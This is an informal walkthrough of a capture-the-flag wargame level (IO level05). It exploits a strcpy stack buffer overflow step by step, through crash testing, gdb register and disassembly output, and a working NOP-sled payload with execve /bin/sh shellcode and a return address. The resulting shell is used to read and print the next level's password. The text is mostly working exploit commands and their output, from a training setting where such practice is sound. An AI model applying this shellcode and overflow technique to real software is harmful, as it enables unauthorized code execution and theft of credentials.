still smashing 😀
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level5@io:/levels$ ./level05 level5@io:/levels$ ./level05 a a level5@io:/levels$ |
echo one 😀
let’s see the source code
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level5@io:/levels$ cat level05.c #include #include int main(int argc, char **argv) { char buf[128]; if(argc < 2) return 1; strcpy(buf, argv[1]); printf("%s\n", buf); return 0; } |
strcpy 😀 today I meet many strcpy so nice my memory will be hardcoded with strcpy let’s smash it
we have 128 buffer lol
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level5@io:/levels$ ./level05 $(python -c "print 'A' * 140") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault |
now gdb love 😀
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Starting program: /levels/level05 $(python -c "print 'A' * 144") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info registers eax 0x0 0 ecx 0xbffffb48 -1073743032 edx 0xb7fd0360 -1208155296 ebx 0xb7fceff4 -1208160268 esp 0xbffffc10 0xbffffc10 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x41414141 0x41414141 eflags 0x10292 [ AF SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) |
EIP overwrite
lets figure how it works in memory
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(gdb) disassemble main Dump of assembler code for function main: 0x080483b4 <+0>: push %ebp 0x080483b5 <+1>: mov %esp,%ebp 0x080483b7 <+3>: sub $0xa8,%esp 0x080483bd <+9>: and $0xfffffff0,%esp 0x080483c0 <+12>: mov $0x0,%eax 0x080483c5 <+17>: sub %eax,%esp 0x080483c7 <+19>: cmpl $0x1,0x8(%ebp) 0x080483cb <+23>: jg 0x80483d9 <main+37> 0x080483cd <+25>: movl $0x1,-0x8c(%ebp) 0x080483d7 <+35>: jmp 0x8048413 <main+95> 0x080483d9 <+37>: mov 0xc(%ebp),%eax 0x080483dc <+40>: add $0x4,%eax 0x080483df <+43>: mov (%eax),%eax 0x080483e1 <+45>: mov %eax,0x4(%esp) 0x080483e5 <+49>: lea -0x88(%ebp),%eax 0x080483eb <+55>: mov %eax,(%esp) 0x080483ee <+58>: call 0x80482d4 <strcpy@plt> 0x080483f3 <+63>: lea -0x88(%ebp),%eax 0x080483f9 <+69>: mov %eax,0x4(%esp) 0x080483fd <+73>: movl $0x8048524,(%esp) 0x08048404 <+80>: call 0x80482b4 <printf@plt> 0x08048409 <+85>: movl $0x0,-0x8c(%ebp) 0x08048413 <+95>: mov -0x8c(%ebp),%eax ---Type to continue, or q to quit--- 0x08048419 <+101>: leave 0x0804841a <+102>: ret End of assembler dump. (gdb) b *0x080483ee Breakpoint 1 at 0x80483ee (gdb) |
I did breakpoint to navigate more
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(gdb) x/400s $esp 0xbffffde3: 'A' 0xbffffe72: "SHELL=/bin/bash" (gdb) x/1s 0xbffffde3 0xbffffde3: 'A' (gdb) x/1s 0xbffffde4 0xbffffde4: 'A' (gdb) x/1s 0xbffffde5 0xbffffde5: 'A' (gdb) x/1s 0xbffffde6 0xbffffde6: 'A' (gdb) |
so we are here lets set the payload
we need some NOP with payload and the EIP address
I like backup this address 0xbffffde3
so lets write out payload
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(gdb) r $(python -c "print '\x90' * 117 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + '\xe3\xfd\xff\xbf'") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /levels/level05 $(python -c "print '\x90' * 117 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + '\xe3\xfd\xff\xbf'") Breakpoint 1, 0x080483ee in main () (gdb) c Continuing. ���������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�� ̀���� process 1860 is executing new program: /bin/bash sh-4.2$ |
nice but the bad news is it didn’t work from outside the gdb so i have to custom it lil bit
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level5@io:/levels$ ./level05 $(python -c "print '\x90' * 117 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + '\xe8\xfd\xff\xbf'") ���������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�� ̀���� sh-4.2$ cat /home/level6/.pass rXCikld0ex3EQsnI sh-4.2$ |
and w00t